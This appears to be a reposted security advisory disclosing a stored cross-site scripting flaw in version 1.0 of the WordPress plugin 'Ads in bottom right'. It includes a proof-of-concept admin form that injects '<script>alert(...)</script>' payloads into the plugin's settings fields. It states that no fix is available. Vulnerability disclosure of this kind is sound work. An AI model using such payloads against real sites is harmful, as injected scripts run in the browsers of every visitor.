WordPress Ads In Bottom Right 1.0 Cross Site Scripting

Posted on Posted in Exploit

WordPress Ads In Bottom Right plugin version 1.0 suffers from a cross site scripting vulnerability.

Title: WordPress 'Ads in bottom right' Plugin 
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download: 
- https://wordpress.org/plugins/ads-in-bottom-right/
- https://plugins.svn.wordpress.org/ads-in-bottom-right/
Notified Vendor/WordPress: 2015-06-21
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## Plugin description
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This plugin allow you show advertising in bottom right, you can put images, flash or any html code which you want.

## Vulnerabilities
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Plugin settings vulnerable to XSS attacks.

PoC:
Log in as admin and submit the following form:

<form method="POST" action="[URL]/wp-admin/options-general.php?page=ads-in-bottom-right.php"> 
   <input type="text" name="status_submit" value="2"><br />
   <input type="text" name="ads_title" value='"><script>alert(1)</script>'><br />
  <input type="text" name="html_code" value="</textarea><script>alert(2)</script>"><br />
  <input type="text" name="submit" value="Save setting"><br />

  <input type="submit">
</form>

After doing this the injected script will also be executed when loading the main page. 


## Solution
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No fix available

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Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

Quelle: Packet storm Security

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